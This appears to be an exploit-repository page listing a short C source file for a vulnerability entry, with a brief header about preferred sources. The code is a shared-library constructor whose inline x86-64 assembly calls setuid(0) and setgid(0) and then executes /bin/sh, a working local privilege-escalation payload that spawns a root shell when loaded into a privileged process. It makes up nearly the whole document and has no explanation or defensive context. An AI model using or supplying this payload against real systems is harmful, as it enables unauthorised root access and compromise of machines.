GH-f79fc2cf8165c5caaff4f90e6ce32bda
Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
static void __attribute__((constructor)) _init(void) { __asm __volatile__( "addq $64, %rsp;" // setuid(0); "movq $105, %rax;" "movq $0, %rdi;" "syscall;" // setgid(0); "movq $106, %rax;" "movq $0, %rdi;" "syscall;" // execve("/bin/sh"); "movq $59, %rax;" "movq $0x0068732f6e69622f, %rdi;" "pushq %rdi;" "movq %rsp, %rdi;" "movq $0, %rdx;" "pushq %rdx;" "pushq %rdi;" "movq %rsp, %rsi;" "syscall;" // exit(0); "movq $60, %rax;" "movq $0, %rdi;" "syscall;"); }